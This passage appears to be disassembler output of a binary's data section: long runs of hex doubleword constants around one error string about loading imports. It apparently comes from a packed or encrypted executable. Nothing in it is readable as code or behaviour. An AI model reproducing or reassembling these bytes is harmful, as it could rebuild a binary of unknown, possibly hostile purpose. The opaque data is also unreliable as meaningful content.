		dd 0CDD6ACCAh, 7635516Fh, 1F8CFA18h, 7F970ABDh,	0ACDA2DC4h
		dd 285D6EFFh, 2DC47F95h, 0D0F657h, 0A907A4E2h, 0A2CB831Ah
		dd 30D9A5Ch, 0B6FE13DDh, 0A9008525h, 94F8483h, 0C72BC2EEh
		dd 1E445F27h, 3690F253h, 1348D9D9h, 31D37B76h, 0EC8C1D7Eh
		dd 8DAB0D96h, 1179AEF5h, 0CE83FF4Ch, 1A5D272h, 0A4E50000h
		dd 285A305h, 622341A3h,	0C1C3E143h, 206280E2h, 59262183h
		dd 46A8FB87h, 0E1436028h, 83E5C0C3h, 20822165h,	0A8154ACBh
		dd 4C33D17Ch, 0E89A7236h, 4B3B59BBh, 582FCF60h,	357274Dh
		dd 0B0FF8929h, 2C573D52h, 985949C8h, 2A471137h,	282459EAh
		dd 0AA2BC2E0h, 4B5CEB49h, 0CAE0A716h, 0C6EC4D33h, 0CAE11EA3h
		dd 475F7B33h, 292B249h,	26763E0Dh, 8BEA485Fh, 6E82042Ah
		dd 0F9AEF3BDh, 0AAh, 0EC9A35h, 63C22083h, 0FC86A402h, 0B9649A7h
		dd 262DC480h, 0C3E14360h, 6B18B8C3h, 0C67BDA38h, 2DC47FF7h
		dd 0D60B9CFDh, 2DC47FE7h, 0ED4BAC0Dh, 0A5367E93h, 0C25FE870h
		dd 97F95A2Bh, 4FE0203Dh, 9FB4093Eh, 0D73833CAh,	0AB7DB2B1h
		dd 9931D2F9h, 7B07A738h, 0DAA8C628h, 0C0B694C9h, 2D8983FEh
		dd 0BE8Dh, 1C8BFE00h, 0C0EB9CBAh, 5E45405Eh, 1A6DEFCh
		dd 0A201819Fh, 0A6B84540h, 4765C7DCh, 0E2006241h, 82A002A1h
		dd 0F045A704h, 7E833A6Fh, 536933D1h, 0BBE89A8Fh, 0A14B3B59h
		dd 0B6AC8E7h, 4D2DDAF4h, 89EAC483h, 0EC9AD327h,	0F58E2EBFh
		dd 0D1F150AEh, 6D2F8B7h, 0A3059EE8h, 5BEC3449h,	0C88C9926h
		dd 65F6572Bh, 86E4C3C5h, 17350127h, 0B4D2346Fh,	0C87BD9D2h
		dd 1463BBEAh, 38584EFCh, 58B6ED98h, 4145D3F9h, 0A4E20062h
		dd 0F98BA907h, 0F3214CAAh, 97CCDDB3h, 5362C426h, 0C5E2A6C6h
		dd 81A70867h, 871893F3h, 0AB099CE7h, 4BACFB8Dh,	4F375525h
		dd 856F654h, 82000000h,	5D2BCB5Ah, 9A64284Eh, 4462C0EFh
		dd 0ED0B6942h, 93B10F96h, 3A58B6F5h, 0DFFD5B48h, 84A200A3h
		dd 2745A300h, 0CBE9475Eh, 1B93F1BCh, 4EC81h, 0C890000h
		dd 281E6824h, 1C890000h, 15D46824h, 3C890000h, 3CA26824h
		dd 0C890000h, 677BB924h, 0E98175B7h, 6FAA702Ah,	5459CB89h
		dd 83243C8Bh, 815304C4h, 2F912404h, 478F2A4Eh, 91BB5308h
		dd 292A4E2Fh, 0FF5B085Fh, 835F2434h, 34FF04C4h,	0C4815B24h
		dd 4, 0F9799CE9h, 0FC4103FFh, 0D916F994h, 4BEECFACh, 0D037FB8h
		dd 0FFC50306h, 71A653E0h, 0D2CC9E6Ah, 11752601h, 0D611FA4Fh
		dd 9F4FA826h, 0D12E1F1Fh, 0EC784E08h, 6E7A192Fh, 4305E16Fh
		dd 0BC043809h, 4EE1002Dh, 0CE874h, 9DC00000h, 4ABC489Eh
		dd 24BF6CBAh, 0B26087A9h, 0D2BF0F2Fh, 5AB95B61h, 815AEAFBh
		dd 59D9C3h, 0BED18A00h,	165Ah, 0E93B8BF5h, 14h,	83C1A11Bh
		dd 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch, 4C11F781h
		dd 81F84CAEh, 0BAC804C7h, 0F8C88068h, 0C104F781h, 57F52044h
		dd 820590B8h, 8A038F3Dh, 3EB83EBh, 4EF8B14Bh, 0FFB7850Fh
		dd 0CBAFFFFh, 0EB4E5E9Ah, 0C060ED04h, 57CE954h,	94F50000h
		dd 0F295B315h, 523351B3h, 0B1D3F153h, 107290F2h, 49363193h
		dd 56B8EB97h, 0F1535038h, 93F5B0D3h, 30921175h,	98255ADBh
		dd 5C33D17Fh, 0DDA74746h, 9ADCA0C6h, 4361BFECh,	7302643Fh
		dd 97F5B0D3h, 0BA17A582h, 2C8D6158h, 950E7806h,	0E6D1937h
		dd 0C4C8E4D9h, 0A0E8082Dh, 0E546A503h
		dd 7F082684h, 0D987C624h, 9A5234CDh, 0CC5DBEEDh, 4C09DB35h
		dd 0F31925F0h, 93F49423h, 355BBA18h, 0CC13DCA7h, 60DC7DCEh
		dd 2644A607h, 0E9FB875Dh, 50AF0D9Ch, 147391EFh,	7BDC3B99h
		dd 0EA9EBC1Ah, 6345FBDh, 2859F0A0h, 2C24A5E1h, 384BD9FFh
		dd 0E57C0B6Dh, 0F49EB3C9h, 6DFB21D6h, 0ECB7CB19h, 70CE2F8Eh
		dd 0C55303BDh, 3F67052Dh, 0EE4C22CEh, 6445A8h, 9A810000h
		dd 1E8500ECh, 13AC5FBDh, 0F52DC47Ch, 30414F57h,	0C47BC2FBh
		dd 0ABD1322Dh, 0ED75C729h, 1A0A8h, 29DC0000h, 0E52B6A92h
		dd 9AC08165h, 13717B0Ch, 76D73694h, 1E8DFA18h, 76477C8Dh
		dd 762DC495h, 523EF15h,	8BCA287Fh, 4F38C9DDh, 90F3F195h
		dd 0F758B715h, 9E0D7B99h, 1F80E140h, 0BCE79FBDh, 8929065Ah
		dd 0F352B0FFh, 60433FCDh, 8A3E402h, 139341AAh, 0AD0F94EEh
		dd 4EACF78Fh, 4CF928BFh, 0C52E4A72h, 8EA5767Eh,	3D63FFBAh
		dd 3ECFD6AFh, 9BC1E69Eh, 0A9FD19CFh, 0EE3A9C64h, 0B0CBA8h
		dd 2CCC0000h, 92F14F5Ch, 0E89AA86Ch, 208BFCh, 62C02182h
		dd 0D1624144h, 0F5535231h, 86A47096h, 0B98EAFEh, 8FED4EADh
		dd 3A981771h, 67594DFBh, 622E7826h, 7BA11C51h, 0F2532DC4h
		dd 5F443ECCh, 96D76EFDh, 6E354E9Bh, 0CE9AB110h,	970C782Bh
		dd 821036h, 107F3E73h, 14752DC5h, 4D3755B3h, 2642F856h
		dd 0F738D80h, 73F4A8EEh, 0F5000000h, 0E75C705Eh, 0A2C89A59h
		dd 0BBE89ADEh, 61443F5Dh, 43A1E503h, 0A5046241h, 2257E644h
		dd 2DC47B9Bh, 0B7D0F051h, 77258EECh, 4E6C912Fh,	90A13858h
		dd 1202CD1Fh, 535C2CB3h, 290DE03Ch, 960D7503h, 0ED9AE034h
		dd 0BE95AD08h, 60C10C94h, 0EB714F02h, 0F9972DC4h, 0C1D2E3ADh
		dd 0C4EB318Ch, 0AD62C32Dh, 2DC4EB10h, 0DB5D83E4h, 0A8EDE415h
		dd 152h, 0EB9A8E00h, 46405EBCh,	0A3E1FF5Dh, 0E217A604h
		dd 2DC47BDBh, 0F790B011h, 610F4EACh, 204E7B45h,	9B0A7B86h
		dd 7B0AAA39h, 273C062Ch, 9D3D4EDFh, 0F92EBFE6h,	2DC47BC4h
		dd 7EA1C728h, 2BC27AE6h, 7F9DFB5Ch, 1C3A9C07h, 54E3416Ah
		dd 7BD9D2B4h, 0ECD3F61Ch, 4533CA7Ch, 0BA03383Fh, 3A33CA7Ch
		dd 0FC1A78D9h, 53BC1A89h, 9ABF01A5h, 0C6662A7Ch, 2685E3C0h
		dd 97147200h, 346F1735h, 605D92A3h, 9433CA7Dh, 54B1C37Dh
		dd 0FD5EE827h, 6B7C0BD7h, 0CB498736h, 0B9043933h, 3B33CB48h
		dd 0F61C7DDAh, 27851E68h, 0FA9610BEh, 0E1980063h, 0BAE002B5h
		dd 0EF515A2Ch, 0F3FA13DDh, 13354AEh, 5E900000h,	3B700101h
		dd 2BC26291h, 0BDF283h,	0F433CA96h, 0B6D43293h,	5371D3D0h
		dd 0FC1A7833h, 5AC3218Ah, 7F07FAACh, 94F39324h,	6A538819h
		dd 8A33CA96h, 21330329h, 0AEF38ECFh, 5D98h, 9229D400h
		dd 12ACFDB3h, 0E7D60B0Eh, 0D2DC4ACh, 5B2B4BACh,	6D93F250h
		dd 0B74848A3h, 0C4AD6B82h, 0A200612Dh, 96157313h, 90B3D938h
		dd 2DC4AD2Dh, 0C3218AFCh, 64C2E1A5h, 0F59B0B39h, 0C4ACFDC0h
		dd 2D8EEF2Dh, 6D584E7Ch, 4C811216h, 2DC4ADA1h, 811072D3h
		dd 0E208A7E1h, 98D2h, 8929FE00h, 78457AF9h, 7C2DC47Ch
		dd 0CA94BA1Bh, 0A7DC6DB5h, 2BC2686Dh, 82A0FE5Fh, 2745A704h
		dd 1CB3445Fh, 99A4A7B3h, 0E7C6C1EFh, 0E1946086h, 33CB4AB1h
		dd 0A7059EE4h, 0EAD57592h, 0B1D17954h, 5578D6D5h, 2C516F37h
		dd 1D69980Eh, 0B894295Eh, 259E33CAh, 4E7D3A7Ah,	89EA4BA8h
		dd 70B0CD27h, 0FB8248DFh, 770D4C2Dh, 181D5251h,	0CC31CFADh
		dd 97EF0D6Bh, 7283AE0Ch, 1CF84BDBh, 557B1F92h, 3B586D39h
		dd 356AFBh, 0F42BD49Fh,	91A23193h, 0CA97615Ch, 0C329333h
		dd 0E3182948h, 2DC47BDAh, 14723157h, 0D1F758B5h, 19AAEA07h
		dd 749A0979h, 7FF54075h, 1CB32BC9h, 9F446313h, 0D5A0C691h
		dd 8EF81674h, 663D45E5h, 0C9F4A908h, 2B33D221h,	0E90769CAh
		dd 0FDB00E9Dh, 8516B74Dh, 83D4EDFh, 828547B5h, 34921174h
		dd 1778D5h, 97134018h, 4C688EBAh, 0C4DFA75Ah, 69424462h
		dd 1097ED0Bh, 4D5987B2h, 77D9D2B4h, 9DA451E8h, 7E658719h
		dd 207E255Eh, 790D9BC1h, 32CCC2Ah, 58000000h, 0EF9A065Ah
		dd 424462C0h, 96ED0B69h, 0F593B10Fh, 483A58B6h,	0A3DFFD5Bh
		dd 84A200h, 5E2745A3h, 0BCCBE947h, 521B93F1h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 2C895C24h, 3E326824h, 14890000h
		dd 5B5E6824h, 4890000h,	68565724h, 27571182h, 0C8E6815Eh
		dd 81661E32h, 4D2335CEh, 0B4C6814Eh, 89C4F7DBh,	0EBA5EF7h
		dd 29396414h, 0EC815FFAh, 4, 83242489h,	58042404h, 577A68h
		dd 24148900h, 8B08408Fh, 89532404h, 4C381E3h, 83000000h
		dd 1C8704C3h, 34FF5C24h, 0C4815A24h, 4,	0F9735CE9h, 9AB8B5FFh
		dd 3060D09h, 2AE0FFC5h,	39364B56h, 8A41DF4Eh, 8C7C46CEh
		dd 226B0C1Bh, 0E9705B7Fh, 0BE4A6AB6h, 686C35EAh, 0C81353DBh
		dd 6920B7B9h, 0EA1A57F8h, 6747EB3Eh, 0E91020D0h, 127h
		dd 73765B50h, 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	0F38F96A6h
		dd 11341356h, 35B11C13h, 423411D3h, 722B6166h, 0A9F29E35h
		dd 88321177h, 686390EFh, 0BFBF1360h, 173AA707h,	0D069C699h
		dd 4087A8E5h, 56321360h, 0A9614571h, 88321177h,	686390EFh
		dd 0BFBF1360h, 173ABA36h, 0D069C699h, 0F9B1D5EDh, 243F1FC8h
		dd 1B61A66h, 5321566h, 48E08FE3h, 0AFE2EA60h, 1DE0DFE3h
		dd 4EE2EA60h, 4233D4E3h, 705A4360h, 0EEAEBDDEh,	8E29C8D3h
		dd 38B79860h, 0DD341C1Ch, 20B79CB6h, 5341367h, 49396BE3h
		dd 0A7BF4560h, 173F1F39h, 9A7EA36h, 8334134Ch, 241440E3h
		dd 11321560h, 49B7D366h, 1341367h, 505B7C0Eh, 0C87EAE8h
		dd 5341354h, 420BE0E3h,	0ABE2EA60h, 1723ECE3h, 49B7D360h
		dd 7341367h, 45594B0Eh,	0C87EAFAh, 5341354h, 420BE0E3h
		dd 0ABE2EA60h, 1C3883E3h, 49B7D360h, 10341367h,	405A3C0Eh
		dd 0C87EA88h, 5341354h,	420BE0E3h, 0ABE2EA60h, 1C388FE3h
		dd 49B7D360h, 1341367h,	420AD70Eh, 0C87EABCh, 5341354h
		dd 420BE0E3h, 0ABE2EA60h, 1C388BE3h, 0B58F9660h, 4434137Bh
		dd 22779069h, 94F41566h, 8E3414A7h, 3AB47D23h, 97CDEF46h
		dd 1734277Bh, 0B1C790EBh, 94CD1360h, 289090EFh,	94F4136Bh
		dd 8E3414A7h, 94F17D2Ah, 97CDF540h, 1734277Bh, 0B1C790EBh
		dd 94CD1360h, 289490EFh, 51DB136Bh, 4E321566h, 4233D4E3h
		dd 2F5A4760h, 0EE8E5F82h, 8E35F8D3h, 0B1B79860h, 0DD34135Fh
		dd 0B3B79CB6h, 4E34186Ch, 4233D4E3h, 6A5A4760h,	0EE94592Ch
		dd 8E35F8D3h, 0B1B79860h, 0DD34135Fh, 0B7B79CB6h, 4E34186Ch
		dd 4233D4E3h, 0C85A4760h, 0EECF57D2h, 8E0008D3h, 0B1B79860h
		dd 0DD34135Fh, 38B79CB6h, 4E341345h, 4233D4E3h,	815A6260h
		dd 0EEC182CEh, 8E2758D3h, 0B1B79860h, 0DD34135Fh, 0C8B79CB6h
		dd 4E341361h, 4233D4E3h, 355A4760h, 0EEB8C857h,	8E0008D3h
		dd 0B1B79860h, 0DD34135Fh, 68B79CB6h, 4E341365h, 4233D4E3h
		dd 1B5A4360h, 0EEE60A0Bh, 8E29C8D3h, 38B79860h,	0DD341C1Ch
		dd 18B79CB6h, 4E341340h, 4233D4E3h, 585A5260h, 0EEB3C976h
		dd 8E0008D3h, 0B1B79860h, 0DD34135Fh, 60B79CB6h, 4E341361h
		dd 4233D4E3h, 0C05A5260h, 0EEB81AD3h, 8E0008D3h, 0B1B79860h
		dd 0DD34135Fh, 0D7B79CB6h, 0B34186Ch, 4214ACDBh, 0A63D1560h
		dd 11321337h, 89F390A0h, 2C7E1360h, 0FBE8098Fh,	232FA099h
		dd 0DBF1360h, 42342C93h, 0A7BBC599h, 173F1FD4h,	89F390A0h
		dd 2C7E1360h, 0FF46CBA8h, 232FA099h, 0DBF1360h,	42342C93h
		dd 0A7BBC599h, 173F1FD0h, 89F390A0h, 2C7E1360h,	95B39759h
		dd 232FA099h, 0DBF1360h, 42342C93h, 0A7BBC599h,	173F1FDCh
		dd 89F390A0h, 2C7E1360h, 911D557Eh, 232FA099h, 0DBF1360h
		dd 42342C93h, 0A7BBC599h, 173F1FDCh, 89F390A0h,	2C741360h
		dd 98EC1372h, 232FA099h, 0DBF1360h, 42342C93h, 0A7BBC599h
		dd 173F1FA4h, 89F390A0h, 2C751360h, 0A3EE051Ch,	232FA099h
		dd 0DBF1360h, 42342C93h, 0A7BBC599h, 173F1FACh,	89F390A0h
		dd 2C751360h, 0CDB59BCAh, 232FA099h, 0DBF1360h,	42342C93h
		dd 0A7BBC599h, 173F1FA8h, 89F390A0h, 2C751360h,	0F6A8B2B4h
		dd 232FA099h, 0DBF1360h, 42342C93h, 0A7BBC599h,	173F1FB4h
		dd 89F390A0h, 2C751360h, 98F32C62h, 232FA099h, 0DBF1360h
		dd 42342C93h, 0A7BBC599h, 173F1FB0h, 0A577A8E5h, 31321360h
		dd 0E3B7D346h, 56341367h, 0FA1F720Eh, 5987EA86h, 0AF341354h
		dd 170BE0E3h, 1E2EA60h,	4938CFE3h, 0E3B7D360h, 56341367h
		dd 0A181A40Eh, 5987EAE8h, 0AF341354h, 170BE0E3h, 1E2EA60h
		dd 4938CBE3h, 0E3B7D360h, 52341367h, 0FE78B20Eh, 5987EAA6h
		dd 0AF341354h, 170BE0E3h, 1E2EA60h, 4938F7E3h, 0E3B7D360h
		dd 5D341367h, 0EE5EFE0Eh, 987EA9Dh, 0AF341373h,	170BE0E3h
		dd 1E2EA60h, 493963E3h,	0E3B7D360h, 55341367h, 0FBBC400Eh
		dd 5987EADDh, 0AF341354h, 170BE0E3h, 1E2EA60h, 4938F3E3h
		dd 0E3B7D360h, 52341367h, 65CE90Eh, 5987EADAh, 0AF341354h
		dd 170BE0E3h, 1E2EA60h,	4938FFE3h, 0E3B7D360h, 42341367h
		dd 980CBF0Eh, 5987EAA0h, 0AF341354h, 170BE0E3h,	1E2EA60h
		dd 4938FBE3h, 0B78F9660h, 1134134Bh, 88D29169h,	0C1F41566h
		dd 243414A7h, 0DF037D20h, 3DCDEFF0h, 4234277Bh,	1BC790EBh
		dd 0C1CD1360h, 837890EFh, 0C1F4136Bh, 243414A7h, 2BE47D20h
		dd 3DCDE9C1h, 4234277Bh, 1BC790EBh, 0C1CD1360h,	836890EFh
		dd 0C1F4136Bh, 243414A7h, 0B5327D20h, 3DCD879Ah, 4234277Bh
		dd 1BC790EBh, 0C1CD1360h, 836C90EFh, 0C1F4136Bh, 243414A7h
		dd 5E587D20h, 3DCDE3B2h, 4234277Bh, 1BC790EBh, 0C1CD1360h
		dd 835090EFh, 0C1F4136Bh, 243414A7h, 41D57D20h,	3DCD81ABh
		dd 4234277Bh, 1BC790EBh, 0C1CD1360h, 837C90EFh,	0C1F4136Bh
		dd 243414A7h, 65097D20h, 3DCDA444h, 4234277Bh, 1BC790EBh
		dd 0C1CD1360h, 836090EFh, 0C1F4136Bh, 243414A7h, 0FBDF7D20h
		dd 3DCDCA1Fh, 4234277Bh, 1BC790EBh, 0C1CD1360h,	836490EFh
		dd 0F9B1136Bh, 24343823h, 0D7126066h, 8E33D4E3h, 1A5A4660h
		dd 0DDFCAB86h, 170008D3h, 7DB79860h, 0BB34135Fh, 0D0B79CB6h
		dd 0D734186Ch, 8E33D4E3h, 0C35A5260h, 0DDF5A438h, 170008D3h
		dd 7DB79860h, 0BB34135Fh, 0D4B79CB6h, 9234186Ch, 8E1F50DBh
		dd 64471560h, 23F390A0h, 79751360h, 6E506B63h, 762FA099h
		dd 0A7BF1360h, 17342C93h, 0DBBC599h, 423F1F9Ch,	23F390A0h
		dd 79711360h, 1A481C90h, 762FA099h, 0A7BF1360h,	17342C93h
		dd 0DBBC599h, 423F1F98h, 23F390A0h, 79711360h, 74138246h
		dd 762FA099h, 0A7BF1360h, 17342C93h, 0DBBC599h,	423F1E64h
		dd 0F77A8E5h, 64321360h, 49B7D326h, 7341367h, 229A160Eh
		dd 0C87EAEDh, 5341354h,	420BE0E3h, 0ABE2EA60h, 1C391FE3h
		dd 49B7D360h, 7341367h,	7904C00Eh, 0C87EA83h, 5341354h
		dd 420BE0E3h, 0ABE2EA60h, 1C3913E3h, 49B7D360h,	7341367h
		dd 8800F40Eh, 0C87EA8Ch, 5341354h, 420BE0E3h, 0ABE2EA60h
		dd 1C391BE3h, 49B7D360h, 7341367h, 0D39E220Eh, 0C87EAE2h
		dd 5341354h, 420BE0E3h,	0ABE2EA60h, 1C3907E3h, 49B7D360h
		dd 0B341367h, 17A2C10Eh, 0C87EAF1h, 5341354h, 420BE0E3h
		dd 0ABE2EA60h, 1C3903E3h, 49B7D360h, 0B341367h,	4C3C170Eh
		dd 0C87EA9Fh, 5341354h,	420BE0E3h, 0ABE2EA60h, 1C390FE3h
		dd 49B7D360h, 9341367h,	154B5C0Eh, 0C87EAAEh, 5341354h
		dd 420BE0E3h, 0ABE2EA60h, 1C3937E3h, 49B7D360h,	9341367h
		dd 0D57F9C0Eh, 0C87EABAh, 5341354h, 420BE0E3h, 0ABE2EA60h
		dd 1C390BE3h, 49B7D360h, 11341367h, 391F220Eh, 0C87EAFAh
		dd 5341354h, 420BE0E3h,	0ABE2EA60h, 1C3933E3h, 49B7D360h
		dd 7341367h, 0F7C23F0Eh, 0C87EAB4h, 5341354h, 420BE0E3h
		dd 0ABE2EA60h, 1C393FE3h, 49B7D360h, 16341367h,	6086FF0Eh
		dd 0C87EA9Bh, 5341354h,	420BE0E3h, 0ABE2EA60h, 17113CE3h
		dd 49B7D360h, 3341367h,	0BA6B8C0Eh, 0C87EA84h, 5341354h
		dd 420BE0E3h, 0ABE2EA60h, 1C393BE3h, 49B7D360h,	3341367h
		dd 0DF52D70Eh, 0C87EAD7h, 5341354h, 420BE0E3h, 0ABE2EA60h
		dd 1C3927E3h, 49B7D360h, 3341367h, 84CC010Eh, 0C87EAB9h
		dd 5341354h, 420BE0E3h
		dd 0ABE2EA60h, 1C3923E3h, 49B7D360h, 1B341367h,	72C07D0Eh
		dd 0C87EAF8h, 5341354h,	420BE0E3h, 0ABE2EA60h, 1C392FE3h
		dd 49B7D360h, 0B341367h, 0DE492A0Eh, 0C87EAA1h,	5341354h
		dd 420BE0E3h, 0ABE2EA60h, 1C3973E3h, 49B7D360h,	3341367h
		dd 795C590Eh, 0C87EA9Ch, 5341354h, 420BE0E3h, 0ABE2EA60h
		dd 1C397FE3h, 49B7D360h, 3341367h, 2416D80Eh, 0C87EAA5h
		dd 5341354h, 420BE0E3h,	0ABE2EA60h, 1C397BE3h, 49B7D360h
		dd 1B341367h, 9952D90Eh, 0C87EAB2h, 5341354h, 420BE0E3h
		dd 0ABE2EA60h, 1C392BE3h, 49B7D360h, 1B341367h,	0CB665B0Eh
		dd 0C87EAF8h, 5341354h,	420BE0E3h, 0ABE2EA60h, 1C3957E3h
		dd 49B7D360h, 1B341367h, 311A5D0Eh, 0C87EAB7h, 5341354h
		dd 420BE0E3h, 0ABE2EA60h, 1C3953E3h, 0E0367F60h, 44320566h
		dd 2222150Eh, 0EE327F66h, 8E3324F3h, 95B79C60h,	0AF341341h
		dd 1DDDF6E3h, 0E2E2EA60h, 54327D62h, 225A1566h,	7B321546h
		dd 0B9A7EA66h, 0CD341367h, 242F70E3h, 0D0B79C60h, 0E2341372h
		dd 54327D26h, 225A1566h, 7B321466h, 0B9A7EA66h,	0CD341367h
		dd 241100E3h, 94879E60h, 3341371h, 421984FBh, 37879C60h
		dd 98341372h, 8E221CFBh, 0D5AF9E60h, 0A934134Dh, 11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 171A8CE3h,	880EAB60h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 173401FBh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 357380EFh, 15581360h
		dd 8822150Eh, 44584766h, 23038099h, 94BB1360h, 8E343DCBh
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 958F9EB1h, 0A1341341h
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 8E1A8CE3h
		dd 0DDA79E60h, 1B34134Eh, 172688F3h, 82B61A60h,	1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 24343A37h
		dd 11321566h, 803390A1h, 44321360h, 9FB11566h, 173F1FC8h
		dd 80B61A66h, 0C9321566h, 2E6B9EFBh, 0EEE1EA60h, 8E3520E3h
		dd 718F9660h, 46341361h, 11509769h, 0DF51566h, 42341253h
		dd 22321567h, 97879806h, 534186Dh, 4915E4DBh, 0A9CC3E60h
		dd 0C08F9EB1h, 0B341341h, 8401EAAFh, 0E30013ECh, 96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 9443905Fh
		dd 0C03D1360h, 22321571h, 2527A8E5h, 87321360h,	44321FE3h
		dd 77B7D266h, 10341340h, 0E9321566h, 0E9407DFh,	0C7F8AF32h
		dd 989F4E05h, 8E2600D3h, 0B874D260h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 527A0EFh, 71DB1360h, 0CF32156Eh
		dd 77B726BEh, 0D0341340h, 4A1916AEh, 7722D5A7h,	77AF9CA7h
		dd 2C341340h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 8E2600D3h
		dd 0D5AF9E60h, 0A934134Dh, 71E29E6Dh, 0D19D7EDh, 42343137h
		dd 2130F5A7h, 1721F4E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah
		dd 40321566h, 3FB2634h,	421AB8F3h, 2D302E60h, 11322DE2h
		dd 8CF09666h, 0D9BF2E27h, 2D341372h, 0EECDFDE3h, 0E3879899h
		dd 0C934186Ch, 2436D0DBh, 0D1B6B960h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 5ABF9866h, 0BB341328h, 0BBBF9C87h
		dd 4B34134Eh, 15B9433Fh, 42343EF7h, 0A7B91EEDh,	17343DFFh
		dd 0D31F5B7h, 423424B3h, 44A4E355h, 13D2D4CBh, 9BD39065h
		dd 0E9A41360h, 0A16CD465h, 1717C8DBh, 0C3D1460h, 4432155Fh
		dd 102F985Dh, 953D1360h, 8832154Bh, 517F985Dh, 0A63D1360h
		dd 11321547h, 8CAB985Dh, 0C03D1360h, 22321573h,	0EFB88EBh
		dd 5BCD136Bh, 0C1BBEDEDh, 2434380Fh, 1134A18Fh,	41AF9866h
		dd 0BB341879h, 0FF8F96B5h, 11341343h, 882F9169h, 0C1091566h
		dd 243416BFh, 113E9169h, 0D091566h, 4234395Bh, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 4223ECE3h, 3AB71A60h, 92321566h
		dd 8E2F28DBh, 0C13D1560h, 2232156Dh, 0FE9D90EBh, 1DDB136Ah
		dd 7FCDEA99h, 2423ECE3h, 98B61A60h, 0BCDEA99h, 493872DBh
		dd 0A73D1460h, 11321571h, 82F4905Dh, 0C13D136Bh, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 9B8F9699h, 11341340h
		dd 8B559169h, 0C1091566h, 243F1FD4h, 94B91213h,	8E340F23h
		dd 0FEB72E21h, 5734186Ch, 0A0B79E61h, 0CF341376h, 4E84905Dh
		dd 2547136Bh, 133390EDh, 0B3751360h, 4938ABE3h,	0A9356060h
		dd 170638E3h, 0D095260h, 423F1FA4h, 0A7B91213h,	1734356Fh
		dd 4EB72E21h, 3134186Ch, 0D7B79E61h, 56341340h,	82F8905Dh
		dd 4347136Bh, 2C9390EDh, 2A751360h, 8538DBE3h, 0CF356060h
		dd 241B8CE3h, 94095260h, 8E3F1FB4h, 0C1B91213h,	243439CFh
		dd 0C7B72E21h, 0FD34186Ch, 2DB79E61h, 65341340h, 1BEC905Dh
		dd 8F47136Bh, 633F90EDh, 19751360h, 1C38CFE3h, 0B226060h
		dd 421F50DBh, 25471560h, 1CDF90EDh, 0B751360h, 4231F0DBh
		dd 2D461560h, 1A54905Dh, 8F47136Bh, 69BB90EDh, 0A1751360h
		dd 171F80DBh, 0FA461560h, 4097A8E5h, 56321360h,	5BB72E0Fh
		dd 0FD34186Dh, 3DB79E61h, 65341375h, 1A68905Dh,	8F47136Bh
		dd 51D390EDh, 19751360h, 1C395BE3h, 3356060h, 421994E3h
		dd 0A7095260h, 173F1E38h, 0DB91213h, 42340B5Bh,	40B72E21h
		dd 6434186Dh, 79B79E61h, 3341347h, 2960905Dh, 1647136Bh
		dd 0ABD390EDh, 7F751360h, 2F3943E3h, 9A356060h,	8E3C98E3h
		dd 0F9B15260h, 243411C3h, 1BB61A66h, 0B3321564h, 4938F7E3h
		dd 0A9356060h, 1716BCE3h, 0D095260h, 423F1E10h,	0A7B91213h
		dd 173426CFh, 6EB72E21h, 3134186Ch, 0FBB79E61h,	5634137Ch
		dd 82D8905Dh, 4347136Bh, 139F90EDh, 2A751360h, 8538FBE3h
		dd 0CF356060h, 241E4CE3h, 94095260h, 8E3F1F94h,	0F9B10513h
		dd 24343823h, 9A356066h, 8E27B0E3h, 0C1095260h,	243F1F90h
		dd 94B91213h, 8E343B07h, 0BEB72E21h, 5734186Ch,	548F9676h
		dd 8834134Bh, 0C1B91213h, 24340217h, 0EFB72E21h, 0FD34186Ch
		dd 9DB79E61h, 65341373h, 1A30905Dh, 8F47136Bh, 606F90EDh
		dd 19751360h, 1C391FE3h, 0B226060h, 421F50DBh, 25471560h
		dd 119790EDh, 0B3751360h, 493913E3h, 0A1226060h, 171F50DBh
		dd 8F471560h, 6ECB90EDh, 19751360h, 1C391BE3h, 3356060h
		dd 4211D8E3h, 0A7095260h, 173F1E74h, 0DB91213h,	4234349Fh
		dd 34B72E21h, 6434186Dh, 19B79E61h, 334134Ch, 2928905Dh
		dd 1647136Bh, 0A41B90EDh, 7F751360h, 2F390BE3h,	9A356060h
		dd 8E10DCE3h, 0C1095260h, 243F1E44h, 94B91213h,	8E34316Fh
		dd 62B72E21h, 5734186Dh, 1CB79E61h, 0CF34136Eh,	4F18905Dh
		dd 2547136Bh, 324790EDh, 0B3751360h, 42113CE3h,	0A9356060h
		dd 1729D0E3h, 0D095260h, 423F1E48h, 0A7B91213h,	173405FBh
		dd 0E2B72E21h, 3134186Dh, 508F967Fh, 1134186Dh,	35B11C13h
		dd 423430BBh, 0A9356166h, 1723BCE3h, 0D095260h,	423F1E08h
		dd 9FB10C13h, 173F1E14h, 0B3B6066h, 4217C8DBh, 25461560h
